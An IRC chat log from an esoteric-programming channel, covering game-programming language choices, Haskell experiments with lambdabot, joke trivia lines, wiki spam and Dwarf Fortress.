05:09:01 <H3LLB0Y> what has smalltalk got over python kallisti?
05:09:06 <Sgeo> It... I don't know. Probably yes, but might be a bit tricky to distribute those games in a way that people can't see the source code.
05:09:09 <elliott> everyone starts out wanting to make games, nobody ends up wanting to make game
05:09:43 <Sgeo> H3LLB0Y, it's overall a better language, and _may_ be easier for games for reasons.
05:09:54 <quintopia> elliott: but getting 70% of the way there is still pretty popular *cough*vagrant*cough*
05:09:57 <Sgeo> GUI stuff is easier, probably.
05:10:05 <zzo38> I do not think it is usually a problem that people can't see source codes; usually is better if source codes are available you can then fix it and make it work even in other systems if needed changing
05:10:14 <pikhq> H3LLB0Y: It omits sucky bits that other languages keep, that you probably didn't even realise suck!
05:10:18 <monqy> I still want to vagrant
05:10:18 <elliott> quintopia: vagrant is 100% of the way
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05:10:56 <Sgeo> I never did GUI stuff in Smalltalk, but then again, the only language I have done GUI stuff with is VB, and Python ONCE.
05:11:04 <HackEgo> Chef_: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
05:11:08 <zzo38> Play Tetanus on Drugs, you need GameBoy Advance emulator to work this game, or a way to transfer to GameBoy Advance.
05:11:09 <Sgeo> Smalltalk's probably somewhat similar to VB in terms of IDE support for GUIs
05:11:15 <elliott> Chef_: did damageinc tell you to comeh ere
05:11:30 <elliott> because he's told at least one person to come here in the last hour or two :P
05:11:31 <zzo38> Chef_: Then, what question do you have, please?
05:11:49 <kallisti> H3LLB0Y: because I don't really understand your obsession with "is it good for games?" when any general-purpose language is, with the proper graphics libraries, is viable as a "game programming language." The only major concern otherwise would be efficiency, where Python is obviously not king of the hill.
05:11:50 <Sgeo> H3LLB0Y, Smalltalk is rather different from many languages in terms of IDE and environment
05:11:51 <Chef_> zzo38: Do I really have to have a question at this moment?
05:12:01 <H3LLB0Y> well, for my gui's i will be using librocket, which lets you define your gui's using a html/css/xml style file to define it
05:12:02 <zzo38> Chef_: No, but I was just asking.
05:12:10 <kallisti> H3LLB0Y: so if Python is good for you, in terms of efficiency, then practically any other semi-decent language is fine.
05:12:18 <Sgeo> With Smalltalk, you wouldn't really use text to describe the ... GUI
05:12:22 <zzo38> Main topic is esoteric computer programming, but usually we discuss a large number of complete different things.
05:12:38 <Sgeo> Then again, you don't use text to define classes. There is no syntax for classes.
05:12:39 <H3LLB0Y> kallisti: did you not read what i said earlier, about the panda3d game engine being written in c++ mostly and having python bindings?
05:12:43 <Chef_> Although the lack of documentation for Threejs is annoying me
05:13:06 <Sgeo> Javascript 3d library.
05:13:16 <Sgeo> Anyways, I should start making food now.
05:13:19 * elliott struggles to determine the relevance to esolangs
05:13:57 <kallisti> H3LLB0Y: okay so your criteria for "game programming language" is now "can it interface with C/C++"
05:14:08 <kallisti> I'm not sure if Smalltalk has that.
05:14:16 <H3LLB0Y> kallisti: when was it not? :P
05:14:27 <kallisti> H3LLB0Y: I thought you were concerned about the actual language.
05:14:27 <Sgeo> I don't know how usable Aliens is on, say, Windows.
05:14:40 <H3LLB0Y> if python/panda3d did not have it i would probably have gone with straight c++ and a game engine written for hta
05:14:49 <monqy> Sgeo: thanks for the beedaweeda memories or whoever he was
05:15:20 <Sgeo> I don't know if Aliens can even talk to C++
05:15:24 <monqy> "im bad at names" - me
05:15:28 <Sgeo> A lot of languages can really only talk to C
05:15:37 <kallisti> aliens speak dubstep, obviously.
05:16:03 <elliott> ok i'm becoming absent for like 20 minutes i sure hope this place improves before i get back so i can go back to procrastinating
05:16:25 <kallisti> H3LLB0Y: C++ seems like your language of choice then
05:16:49 <H3LLB0Y> well, because python makes it alot easier :P
05:17:06 <Sgeo> Smalltalk might be easier than Python.
05:17:09 <kallisti> ah, so you are concerned with the language, but you're also concerned with efficiency.
05:17:15 <kallisti> so then, perhaps you should look at Haskell. :>
05:17:20 <H3LLB0Y> its what panda3d was designed for and has most support for
05:17:30 <kallisti> also LuaJIT is impressively fast and has a C/C++ interface.
05:17:35 <Sgeo> Do you really want to remember labels for some random function, or do you want to do what smalltalk does
05:17:58 <Sgeo> myObject someThing: myFirstThing somethingElse: mySecondthing
05:18:27 <Sgeo> Can think of that like calling the someThing:somethingElse: method with arguments myFirstThing and mySecondthing on myObject
05:18:46 <Sgeo> (The terminology would probably actually be "sending a message" rather than calling a method, but...
05:19:43 <kallisti> C# would be an improvement in ease of programming, while also having game libraries. Also, you mentioned you like Java. well, C# is better.
05:20:29 <Sgeo> Can Vala talk to C++?
05:20:35 <Sgeo> I know it can talk to C obviously.
05:20:39 <H3LLB0Y> did i mention crossplatformability?
05:20:59 <H3LLB0Y> C# has mono i guess on linux
05:21:00 <Sgeo> There ... is Mono, but C# is better
05:21:01 <kallisti> C# does kind of, I don't know if the game libraries are portable
05:21:02 <zzo38> Can we combine LLVM and BLISS into something better than C?
05:21:04 <Sgeo> erm, Haskell ois better
05:21:07 <kallisti> but C# itself is portable via Mono at least.
05:21:20 <Sgeo> Haskell works on Mac
05:21:40 <Sgeo> Oh, btw: Smalltalk programs should work near-identically on platforms where Smalltalk exists.
05:21:41 <zzo38> (BLISS is old and is not used today, but I like many of its ideas)
05:21:42 <kallisti> dunno. probably. if Mono works on mac.
05:23:02 <kallisti> but again I doubt XNA, which is kind of the main game library for C#, was designed to be portable
05:23:09 <kallisti> since it's Microsoft's creation.
05:24:35 <Sgeo> http://code.google.com/p/monoxna/
05:24:38 <zzo38> Plain TeX documents will always work identically on platforms where Plain TeX exists.
05:24:53 <kallisti> H3LLB0Y: yes, TeX may be your language of choice for games.
05:25:28 <Sgeo> http://www.monoxna.org/
05:25:32 <zzo38> kallisti: Especially chess games. I have written a macro file for chess game variant in TeX
05:25:33 <Sgeo> I have to say, this is not encouraging.
05:26:01 <Sgeo> At least http://www.youtube.com/watch?v=KoP1hzcEATA works
05:26:10 <Sgeo> er, there exists a game that works.
05:26:14 <Sgeo> Anyways, I should go make food
05:26:17 <Sgeo> Have a busy day tomorrow.
05:27:09 <kallisti> H3LLB0Y: you probably would like Lua though.
05:27:13 <kallisti> it has all the features you seem to enjoy.
05:27:23 <kallisti> it's event remotely similar to Python in some ways.
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05:27:55 <zzo38> What should I call text adventure game library in Haskell?
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05:29:19 <zzo38> kallisti: OK, I can call it that. As long as, other people agrees not use that name; because, if they do, then it confuses everything
05:33:05 <H3LLB0Y> nah i dont like falcon either
05:33:26 <kallisti> H3LLB0Y: lol, elliott was joking when he was listing off languages.
05:33:37 <H3LLB0Y> im just saying i dont like it
05:35:01 <Sgeo> H3LLB0Y, it is, in many ways, not a likable language.
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06:00:14 <zzo38> Did you know that clones never use mirrors?
06:00:25 <zzo38> Did you know ... That no-one ever reads these things?
06:01:22 <zzo38> Did you know that Tony Fernandez is Spanish for Bill Buckner?
06:01:27 <zzo38> Did you know ...that half of all American schoolchildren graduate in the bottom 50% of their class?
06:02:06 <zzo38> Did you know ...that in 1983 a short, brown haired man named Tom read the dictionary to check for spelling mistakes, and upon finding a word he believed to be misspelt he consulted his dictionary, only to find that the word was spelt correctly?
06:02:27 <zzo38> Did you know that the Sun God's gift of cancer is honourable?
06:02:47 <zzo38> Did you know that "this sentence is true" is not true, and neither is this one?
06:03:29 <zzo38> Did you know that an anime is a chemical compound that contains the anime group, which consists of one oxygen atom, one tantalum atom, one potassium atom, and one uranium atom, with a total charge of negative one (OTaKU-)?
06:03:47 <pikhq_> Did you know that "this sentence is false" is a type error?
06:03:55 <zzo38> Did you know that if cryptography is outlawed, bayl bhgynjf jvyy unir cevinpl?
06:04:06 <zzo38> pikhq_: I realize it now.
06:04:31 <pikhq_> Also, blah, didn't have bsdgames installed.
06:04:44 <pikhq_> Surely rot13 is more important than, say, /bin/sh!
06:06:32 <zzo38> Did you know? ...that killing a mockingbird won't cure your schizophrenia?
06:07:05 <zzo38> Did you know that the Earth is bipolar?
06:07:24 <zzo38> Did you know that you are reading this sentence?
06:07:38 <zzo38> Did you know, when someone annoys you it takes 42 muscles to frown but only 4 to extend your arm and punch them in the face?
06:07:46 <zzo38> Did you know... that El Chupacabra was my uncle?
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06:17:56 <lifthras1ir> Did you know that "Did you now that 'Did you know that ... is a recursive sentence?' is a recursive sentence?" is a recursive sentence?
06:19:41 <ion> > let s0 = "Did you know that \"" ++ s1 ++ "\" is a recursive sentence?"; s1 = "Did you now that '" ++ s0 ++ "' is a recursive sentence?" in s0
06:19:43 <lambdabot> "Did you know that \"Did you now that 'Did you know that \"Did you now that...
06:20:00 <ion> > let s0 = "Did you know that \"" ++ s1 ++ "\" is a recursive sentence?"; s1 = "Did you now that '" ++ s0 ++ "' is a recursive sentence?" in text s0
06:20:44 <Sgeo> I don't get the thing about "This sentence is false" being a type error
06:28:40 <pikhq_> Not all sentences I state make sense.
06:28:50 <pikhq_> Some of them are nothing but mostly-nonsense.
06:33:12 <Sgeo> I remember seeing on Wikipedia something about type theory resolving Russell's paradox, though I have no idea how.
06:33:44 <quintopia> it prevents a specific kind of self-reference
06:33:55 <pikhq_> I think it has something to do with... Yeah, that.
06:34:54 <elliott> (Not the same type theory as Martin-Lof.)
06:35:45 <quintopia> http://en.wikipedia.org/wiki/Type_theory
06:40:10 <Sgeo> "then assigning each mathematical (and possibly other) entity to a type."
06:40:18 <Sgeo> Entities that are not mathematical in nature?
06:40:35 <zzo38> There is a cooperative chess game called Stallmate. I made up another cooperative variant, called Secret Stallmate. In Secret Stallmate, you are not allowed to see your opponent's pieces or communicate with your opponent, and pieces are set up at random and independently. You can call the referee and do like Kriegspiel.
06:41:04 <zzo38> Or, with the other player; they are not necessarily an opponent (although they have the opposite colors to you).
06:41:26 <Sgeo> zzo38, have you ever looked at Fourplay?
06:41:29 <zzo38> However, if a player forfeits, you lose and the other guy wins; so in that case they are opposed to you
06:41:35 <Sgeo> (I have no idea if that's safe to google)
06:41:49 <zzo38> I would use Wikipedia to look it up anyways if I want to do so; not Google
06:41:55 <Sgeo> Apparently it is
06:42:15 <Sgeo> http://www.nomic.net/deadgames/fourplay/fourplay.html
06:42:21 <Sgeo> (Note I had to add chess)
06:43:48 <zzo38> Do you know of other cooperative games where communication is forbidden?
06:43:53 <Sgeo> WTF is a Beethovin set?
06:48:33 <Sgeo> "Definition of a Beethoven Set"
06:48:39 <Sgeo> "For a given group of Pieces, the Beethoven Set for that group of Pieces is defined as the set containing one of each of type of Pieces in that group. Dollarmen and Kings are an exception, they are never part of the Beethoven Set."
06:52:22 <Sgeo> http://www.nomic.net/deadgames/fourplay/pieces/cost.html
06:52:27 <Sgeo> "Transfer interrupted!"
06:52:40 <Sgeo> <HR><H3>Transfer interrupted!</H3>
06:53:12 <zzo38> Can we together invent the game where the board is a horoscope which updates in real time? Possibly even play the game in a moving vehicle and houses change due to that too... of course you require time limits for the moves so that you cannot simply wait for a very long time until the planets favor you. You can have cards to change harmonic factors and so on, or play by mail if wanted, etc
06:54:30 <Sgeo> "The Neutron Gem is worth 1 F$ - that is, any Neutron Gem owned by a Player can be converted by that Player to one Fourplay Dollar."
06:54:47 <Sgeo> Maybe the amount that neutron gems are worth should be bumped up to encourage neutron gem use?
06:55:52 <Sgeo> Er, neutron use
07:01:45 -!- MoALTz has quit (Ping timeout: 245 seconds).
07:05:32 <zzo38> Please write some more quiz files for Internet Quiz Engine! So far is only three files
07:06:08 <ion> `run fortune
07:06:16 <HackEgo> ___ ___ \ d88888b d88888b \ d888888888b d888888888b \ 888888888888b 888888888888b \ "d88888888888bd8888bd8888888888b' \ `d888888888 "8" 88888888b' \ `d88888' __ __ `8888b' \ d88 / | | \ 88b \ d888 :,-| |-.: 888b \ d88888 \_|_|_/ 88888b \ d8"""8b ' ___ ` d8"""8b \ : __ d88888b __ : \ ".
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07:11:16 <Sgeo> http://www.nomic.net/deadgames/fourplay/pieces/pieces.20s.html
07:11:25 <Sgeo> `welcome MoALTz
07:11:28 <HackEgo> MoALTz: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
07:11:57 <Sgeo> The definition of the Forcebeam Generator looks to me like it allows two FGs owned by different people to make a forcebeam
07:12:05 <Sgeo> But the physical description seems to contradict that
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07:14:16 <Sgeo> `welcome MoALTz_
07:14:19 <HackEgo> MoALTz_: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
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07:23:18 <Sgeo> "Any friendly Piece adacent to a PrimeMover in the begining of its turn can move a prime number of squares in any single direction, provided all squares between its starting square and its destination square whose distance from the starting square is a compound number are unoccupied. "
07:23:25 <Sgeo> Compound? Isn't it composite?
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10:39:47 <oerjan> <kallisti> Let n ∈ Z. Prove that 2 | (n⁴ - 3) if and only if 4 | (n² + 3).
10:40:18 <oerjan> tip: n^4-9 = (n^2+3)*(n^2-3)
10:44:16 <oerjan> and noting that the factors are both even or both odd
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11:36:22 <elliott> ais523 isn't going to wake up for ages, is he.
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12:24:45 * oerjan looks at the recent changes and wonders if the spam will reach an asymptote before elliott finishes the move
12:25:03 <fizzie> oerjan: The spangularity?
12:25:27 <fizzie> (That's when spambots become better than humans at CAPTCHAs.)
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12:42:20 <NihilistDandy> Besides Spam, what else is annoying on the internet? I'd like to devise a lexicon of internet slang where such things are named after canned things that you can buy with food stamps :D
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12:53:16 <oerjan> the entire list of annoying things is itself annoying. a calvin & hobbes strip comes to mind.
12:54:33 <elliott> jesus christ how long do i have to sit here waiting for a birminghamite
12:55:15 <NihilistDandy> Now I just need to find a recursive welfare food to represent the list itself… perfect
12:55:18 * oerjan notes ais523 alluded to my ~ expression in his reddit comment
12:55:55 <oerjan> NihilistDandy: welfare recipients, soilent green. hth.
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14:44:29 <elliott> TODO also: figure out weird cache/gzip stuff
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18:16:28 * kallisti is using monospaced fonts in section headers for his contract, like a boss.
18:16:40 * kallisti should never be a web designer.
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18:21:10 <zzo38> kallisti: Then don't be a web designer.
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18:24:59 <itidus21> i decided against trying to compile it on windows versus the chances of me actually using it. but the concept itself is pretty cool to me
18:25:14 <kallisti> oh we're not talking about fonts
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18:33:41 <itidus21> it actually took all that time for me to find it
18:34:09 <itidus21> i didnt know...... i didnt know
18:34:33 <itidus21> the porn was posted on feb 12th
18:34:52 <itidus21> safer link is this one http://www.braindamage.vg/projects/
18:36:42 <itidus21> just posted with regard to using monospaced fonts on a webpage
18:43:50 <kallisti> I think monospace (can) look good
18:43:59 <kallisti> but I note that most websites do not use monospace fonts.
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19:41:16 <ais523> ah, you have to love the Internet: cia.gov gets DDOSed, Anonymous aren't entirely sure whether they did it or not
19:41:17 <lambdabot> ais523: You have 1 new message. '/msg lambdabot @messages' to read it.
19:43:13 <Gregor> I'll bet that message goes roughly like this:
19:43:18 <Gregor> <elliott> Waaaah where are you?
19:43:33 <ais523> it's about how stupid MediaWiki is
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19:43:52 <Gregor> This is why we should be using Hackiki >: )
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20:39:02 <Taneb> Well, I have now seen Repo
20:39:30 <ais523> not to mention that out of context, there are multiple ways to expand the last word
20:41:11 <ais523> ah, I didn't know /that/ one
20:41:37 <Taneb> http://www.youtube.com/watch?v=MoeYcnTHhSk&feature=watch-now-button&wide=1
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20:59:53 <fizzie> ais523: Okay, this is getting a bit repetitive now: http://p.zem.fi/1wea
21:02:43 <fizzie> It's a new version of an earlier spam.
21:02:46 <itidus21> your identity/information's was used to dupe a Australia business man to
21:03:14 <itidus21> you could probably count the number of australians with $4 Billion Usd on on hand :P
21:03:23 <fizzie> I think the previous one had more pizzazz.
21:03:23 <Taneb> Four BIIIIIILLIIIOOOON UUUUU SSSS DDDD
21:03:32 <ais523> I'm just /that/ trustworthy, that anyone can make anyone trust them simply by pretending to be me
21:03:53 <itidus21> i mean.. thats basically as rich as you get in australia
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21:19:21 <Phantom_Hoover> OK, the new version of DF is out, and I am going to need help fighting my way through the inevitable library clusterfuck.
21:23:43 <Phantom_Hoover> And of course I immediately discover that I can't even install packages because the mirror is down.
21:24:06 <Taneb> It seems to run fine for me
21:27:05 <Phantom_Hoover> pacman -Syu fails. I am so out of my depth I don't have a hope of getting it working before tomorrow.
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21:31:06 <itidus21> Phantom_Hoover: are all your options truely exhausted?
21:31:32 <Phantom_Hoover> elliott is probably going to yell at me once he comes online, but Dwarf Fortress.
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21:32:10 <itidus21> i think he understands the importance of DF
21:32:25 <olsner> what's dwarf fortress?
21:32:37 <Phantom_Hoover> olsner..................................................
21:32:44 <olsner> ..................................................
21:32:59 <ais523> olsner: one of the most crazy complicated strategy games ever invented
21:33:11 <ais523> it has an old-fashioned ASCII interface, and yet manages to peg most modern CPUs
21:33:16 <olsner> strategy? sounds boring
21:33:23 <Phantom_Hoover> Great, now I still can't install packages because of some signature problems.
21:33:30 <ais523> and Minecraft is a poor ripoff of it
21:33:33 <itidus21> i haven't played it but i've seen screenshots
21:33:43 <Phantom_Hoover> olsner, ignore ais, it's the only strategy game ever where your units will decide to get drunk rather than fight.
21:47:02 <itidus21> so i just thought up a fairly weird way for describing a shape (imagining it in 2d) which i will spell out
21:53:29 <Sgeo> Phantom_Hoover, what distro uses pacman?
21:55:01 <itidus21> so taking the unit circle as an example.. it can be said that for the interval [0,360] of all rotations of the unit circle, that the circle intersects x zero times at the intervals (−∞,-1) and (1,∞), once at -1, once at 1, and twice at the interval (-1,1), and that that the circle intersects y zero times at the intervals (−∞,-1) and (1,∞), once at -1, once at 1, and twice at the interval (
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22:19:09 <Phantom_Hoover> I have Komivak, "Throwsling", a platinum slab, which apparently has the secrets of life and death written on it.
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22:40:15 <itidus21> relieved feeling through disconnection
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23:19:36 <kallisti> > map (head &&& length) . group $ ">>>>+++++------+++++------<<<"
23:19:37 <lambdabot> [('>',4),('+',5),('-',6),('+',5),('-',6),('<',3)]
23:19:48 <kallisti> holy BF compiler optimization, batman!
23:23:41 <lambdabot> groupBy eq (x:xs) = (x:ys) : groupBy eq zs
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01:27:03 <oerjan> AVG just ...replaced... by About:tab button with its own page O_O
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01:50:57 <oerjan> gah does anyone know how to fix a hijacked About:Tab in IE 8 (hijacked by my _virus scanner_, no less)
01:51:41 <zzo38> Is the bean dizzy?
01:51:53 <oerjan> zzo38: what the hell does that mean?
01:52:18 <zzo38> I don't know the answer either. (That is why I asked.)
01:56:13 <oerjan> this is completely unacceptable, as it destroys my most frequently used button
02:00:10 <zzo38> What button is that?
02:00:52 <oerjan> the new tab one to the right of the tab list, also ^T
02:01:18 <oerjan> finally i found a directly relevant message
02:03:10 <oerjan> ok that _was_ reasonably simple to fix, once i found that.
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02:04:08 <oerjan> so i won't have to hire a hitman after all, i guess.
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02:30:42 <oerjan> kallisti: because foldl is sort of tail recursive. except you really want foldl'
02:32:10 <kallisti> I thought foldr was the sort of tail recursive one...
02:32:32 <oerjan> no, foldr is the productive one
02:32:45 <oerjan> and only when the function used is lazy
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02:33:43 <oerjan> > foldr (\n s -> show c++',':s) [1..]
02:33:44 <lambdabot> No instance for (GHC.Num.Num GHC.Types.Char)
02:33:49 <oerjan> > foldr (\n s -> show n++',':s) [1..]
02:33:49 <lambdabot> No instance for (GHC.Num.Num GHC.Types.Char)
02:34:13 <oerjan> > foldr (\n s -> show n++',':s) undefined [1..]
02:34:14 <lambdabot> "1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28...
02:42:44 <lambdabot> 2.7182818284590452353602874713526624977572
02:46:28 <lambdabot> 0.6931471805599453094172321214581765680755
02:49:09 <lambdabot> "0.693147180559945309417232121458176568075500134360255254120680009493393621...
02:49:29 <kallisti> > last . showCReal 1000 . log $ 2
02:49:44 <kallisti> $ has the lowest possible operator precedence, and is right-associative.
02:49:59 <kallisti> this is in contrast to regular function application, which has higher precedence than any operator, and is left-associative.
02:50:13 <kallisti> it's just a syntactically different means of applying functions.
02:50:37 <kallisti> (also it allows you to use function application as a function, thus passing it to other functions and stuff)
02:51:05 <kallisti> > map ($ 2) [abs, negate, recip]
02:51:17 <Guest94209> i'm not very good at thinking curriedly, so i'm not sure what it accomplishes in that call when you put it between parameters
02:51:39 <kallisti> ($ 2) is a function that takes a function and applies the argument 2 to it
02:52:30 <kallisti> you could think of the left-hand side of the $ as being empty, waiting to be filled in later.
02:53:30 <kallisti> it's a special form of operator syntax called operator sections
02:53:41 <oerjan> > (-2) 2 -- *evil cackle*
02:54:33 <kallisti> Guest94209: also when you enclose a operator in parentheses it refers to the operator as a function.
02:54:45 <kallisti> Guest94209: that's not a standard thing, btw
02:56:22 <kallisti> > let in do id let in do id let in do let in id do let in id do id let in do id let in do id let in do id let in do id do id id id id id id id id id id id id 2
02:56:23 <lambdabot> <no location info>: parse error on input `let'
02:56:59 <kallisti> hmmm I must have typed something wrong
02:57:13 <oerjan> the id let rings warning bells
02:57:27 <kallisti> anyway, truly Haskell is a wonderful language.
02:57:45 <kallisti> > do do do do do do do do do do do do do do do do do do do do do do do do do do 5
02:58:14 <oerjan> sadly be do would have the same problem
02:58:48 <lambdabot> <no location info>: parse error on input `do'
02:58:54 <lambdabot> <no location info>: parse error on input `}'
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02:59:54 <oerjan> () is not Void, not that that works either
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03:50:13 <lambdabot> 3.1415926535897932384626433832795028841972
03:50:57 <lambdabot> Overlapping instances for GHC.Show.Show
03:51:16 <lambdabot> "0.693147180559945309417232121458176568075500134360255254120680009493393621...
03:51:36 <lambdabot> "3.141592653589793238462643383279502884197169399375105820974944592307816406...
03:55:23 <oerjan> 14159265358979323846264338327950288419716939937510
03:55:27 <oerjan> 582097494459230781640argh
03:56:54 <oerjan> > "3.141592653589793238462643383279502884197169399375105820974944592307816406" == "3.141592653589793238462643383279502884197169399375105820974944592307816406"
03:58:13 <oerjan> hm what would be nice is an irssi key combination which turned _off_ newlines until you're finished pasting
03:58:55 <oerjan> i suppose rebinding ^J might work
04:06:03 <quintopia> and one that automatically breaks lines that are too long to the right length at word boundaries
04:06:10 <quintopia> i tried to make one once but it is hard
04:19:30 <lambdabot> "1.415926535897932384626433832795028841971693993751058209749445923078164062...
04:20:03 <calamari> > showCReal 1000 $ 100000000000*(pi-3.1415926535)
04:20:04 <lambdabot> "8.979323846264338327950288419716939937510582097494459230781640628620899862...
04:23:44 <calamari> any idea how many digits it has?
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04:33:11 <oerjan> > (3 :: CReal) == (3 :: Double)
04:33:12 <lambdabot> Couldn't match expected type `Data.Number.CReal.CReal'
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04:34:03 <oerjan> pi = 16 * atan (fromRational (1 % 5))
04:34:03 <oerjan> - 4 * atan (fromRational (1 % 239))
04:34:13 <oerjan> it's actually computed
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04:36:03 <oerjan> data CReal = CR (Int -> Integer)
04:36:25 <oerjan> with that representation it won't even be cached
04:36:46 <oerjan> converges too slowly, probably
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04:37:16 <lambdabot> "3.141592653589793238462643383279502884197169399375105820974944592307816406...
04:37:42 <oerjan> that atan definition really could use some guards http://hackage.haskell.org/packages/archive/numbers/2009.8.9/doc/html/src/Data-Number-CReal.html
04:37:50 <calamari> so the answer is that it calculated it to 1000?
04:37:54 <calamari> > showCReal 100000 $ 4*atan(1)
04:38:29 <lambdabot> "3.141592653589793238462643383279502884197169399375105820974944592307816406...
04:38:37 <lambdabot> "3.141592653589793238462643383279502884197169399375105820974944592307816406...
04:38:42 <lambdabot> "3.141592653589793238462643383279502884197169399375105820974944592307816406...
04:38:55 <oerjan> i'm pretty sure lambdabot's timeouts are not that stable
04:39:03 <lambdabot> "3.141592653589793238462643383279502884197169399375105820974944592307816406...
04:39:13 <lambdabot> "3.141592653589793238462643383279502884197169399375105820974944592307816406...
04:42:48 <calamari> > showCReal 6700 $ 4 * atan (fromRational (1 % 2)) * atan (fromRational (1 % 3))
04:42:56 <calamari> > showCReal 100 $ 4 * atan (fromRational (1 % 2)) * atan (fromRational (1 % 3))
04:42:56 <lambdabot> "0.596715500962747835751687566251669522596093586562952203060403924448942519...
04:43:14 <calamari> > showCReal 100 $ 4 * (atan (fromRational (1 % 2)) + atan (fromRational (1 % 3)))
04:43:15 <lambdabot> "3.141592653589793238462643383279502884197169399375105820974944592307816406...
04:43:36 <calamari> > showCReal 6700 $ 4 * (atan (fromRational (1 % 2)) + atan (fromRational (1 % 3)))
04:44:42 <oerjan> generally taylor series converge faster the closer you are to the center point
04:45:07 * Sgeo seems to want to do Haskell in Smalltalk
04:45:41 <oerjan> ...i guess that's better than LLScript or what it was called
04:46:17 <oerjan> wait, did i give Sgeo a terrible idea there... never mind, it will be too horrible even for him.
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04:56:27 <zzo38> I think I have figured out how to make packages install include file for use with Hampp; it can be installed in $libdir/includes/hampp/ Is this correct?
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05:41:22 -!- oerjan has set topic: http://codu.org/logs/_esoteric/ | Resistance is omelette du fromage, thus voltage is fromage times currant. | Electric buns, all the rage..
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06:37:11 <oerjan> <ais523> ah, you have to love the Internet: cia.gov gets DDOSed, Anonymous aren't entirely sure whether they did it or not
06:37:46 <oerjan> isn't anonymous more or less by design _fated_ to split into several disconnected pieces that don't know what the others are doing
06:39:43 <oerjan> <ais523> I'm just /that/ trustworthy, that anyone can make anyone trust them simply by pretending to be me
06:39:57 <oerjan> i rate that "plausible".
06:42:03 <oerjan> <Phantom_Hoover> elliott is probably going to yell at me once he comes online, but Dwarf Fortress. <-- optimist.
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10:47:35 <elliott> poll: is it Turing complete or Turing-complete?
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10:48:16 <ais523> elliott: both, I think, but I see the hyphenated version more often
10:48:44 <elliott> ais523: right, it was a question of style
10:48:53 <elliott> our article is [[turing-complete]] but our category is [[category:turing complete]]
10:49:01 <elliott> i find this unacceptable, so one of them has to change :)
10:49:09 <ais523> because category names tend to use spaces, possibly?
10:49:22 <elliott> that... doesn't make any sense?
10:49:29 <ais523> it makes a bit of sense
10:49:38 <ais523> oh, my supervisor just went and named the source language that my hardware compiler accepts
10:49:44 <elliott> oh dear, [[Excela]] just got edited again
10:49:45 <ais523> so we're going to call it Lusio
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10:50:06 <elliott> ais523: most edits to the esowiki are spam nowadays :P
10:50:21 <elliott> also, Lusio is a terrible name. thought you should know
10:50:38 <ais523> meh, I'm not paid enough to come up with /good/ names, or even names at all
10:53:13 <ais523> cheater: I might have to do that too
10:53:40 <ais523> only things I can put on the webserver here that won't just be served literally are PHP and htaccess files
10:54:21 <cheater> i was mostly commenting on the "not paid enough" part of what you said
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11:02:14 <cheater> i mean, with the right experience you can get paid what, 10k euro/month doing that sort of stuff if you work hard. optimally this leaves 3/4 of the year for doing anything at all, while not starving yourself to death. maybe even do a research position in this time still earning some extra cash on the side, or hire assistants.
11:03:09 <cheater> quite comfortable given that you are left with a situation of being able to devote yourself to your resarch in full without having to worry about anything.
11:08:13 <tzxn3> why does Excela keep getting edited?
11:08:34 <tzxn3> the spambots seem to have an obsession with it
11:08:53 <ais523> tzxn3: indeed, it's weird
11:09:07 <ais523> and from experience, if I lock the page, the spambots pick a different page and get obsessed with that one instead
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12:32:37 <elliott> wow, most insidious spambot yet
12:32:40 <elliott> http://esolangs.org/w/index.php?title=Lambda&curid=1640&diff=29854&oldid=24902
12:32:48 <elliott> linking to a Wikipedia mirror...
12:33:57 <elliott> actually, I'm not convinced that was even a bot
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12:38:31 <Taneb> A thought occurs from my attempt many years ago to learn C++
12:38:44 <Taneb> What was with that system pause thing I seem to remember?
12:39:55 <elliott> system("pause") does something implementation-defined to "pause".
12:40:05 <elliott> On Windows it will run the pause command which says "Press any key blah blah blah" and waits for a key.
12:40:22 <elliott> It is used by very bad C++ tutorials so that you can double-click an executable without the command window disappearing at the end.
12:42:38 <Taneb> Haskell is definitely the easiest to learn non-esoteric language I have encountered.
12:42:44 <Taneb> And tried to learn
12:42:48 <cheater> haha, that was the most annoying thing when i started developing on a windowing system
12:43:00 <cheater> took me a day or so to figure it out.
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12:43:38 <cheater> Taneb: i concur, other languages are fairly difficult to figure out
12:56:35 <fizzie> Older tutorials from the DOS age instead all started with system("cls") to cler the screen.
12:57:45 <kallisti> I disagree with the popular "Haskell is easier to learn than imperative languages"
12:59:06 <Taneb> kallisti, carry oh
12:59:09 <kallisti> I think understand the basics of Haskell took about as long as having a firm grasp of Python when I first started programming.
13:00:29 <kallisti> with (roughly) the same amount of effort.
13:00:48 <kallisti> the difference is what they I already knew some of the basics of functional programming. How to write recursive programs, for example.
13:01:35 <kallisti> if anything is Haskell is /more/ difficult to learn, or about the same.
13:01:41 <kallisti> erkopwjetpiwe[0rowpoejt[woerpiowjret[ikwepirjwetwer
13:01:57 <kallisti> I just woke up. so 100% typo level is achieved.
13:04:07 <kallisti> I definitely think it varies for different people, of course. If you have a background in esolangs and programming language concepts.
13:04:17 <kallisti> then of course picking up Haskell was pretty quick.
13:04:40 <kallisti> people with mathematics backgrounds as well would likely find Haskell somewhat natural.
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13:05:54 <kallisti> I think people with absolutely no experience in either programming nor mathematics would not find it natural at all to think about recursion, recursive ADTs, polymorphism, higher-order functions, etc. These concepts would take a lot of effort to really sink in.
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13:06:57 <Taneb> Is it bad that my first programming language was imperative, and I struggle to understand the imperative bits of Haskell?
13:07:14 <kallisti> Haskell handles imperative code a bit differently.
13:07:27 <kallisti> in fact the IO monad is a major stumbling block for many people. so that's pretty normal.
13:08:15 <kallisti> mainly because I wasn't clear on the details. It sounds very hand-wavey for a while until I really bug in and looked at how it works.
13:08:37 <kallisti> I'm going to go eat breakfast and drink some coffee.
13:09:04 <Taneb> I don't drink coffee.
13:09:16 <Taneb> I don't eat coffee, either.
13:09:25 <Taneb> I do both eat and drink breakfast, however.
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13:11:01 <Taneb> The brand of cereal I eat likely does not exist in the US
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13:11:30 <kallisti> I bet there's a reasonably similar analog.
13:11:48 <Taneb> Oh, those exist here
13:12:07 <kallisti> all American things exist everywhere.
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13:13:07 <kallisti> (not true; I bet you guys don't have Quiktrip)
13:13:23 <Taneb> And now I must go have a shower.
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13:19:36 <fizzie> Quiktrip sounds like some brand name for DMT or something. "Quiktrip(tm) - when you just don't have the time for a full-blown trip."
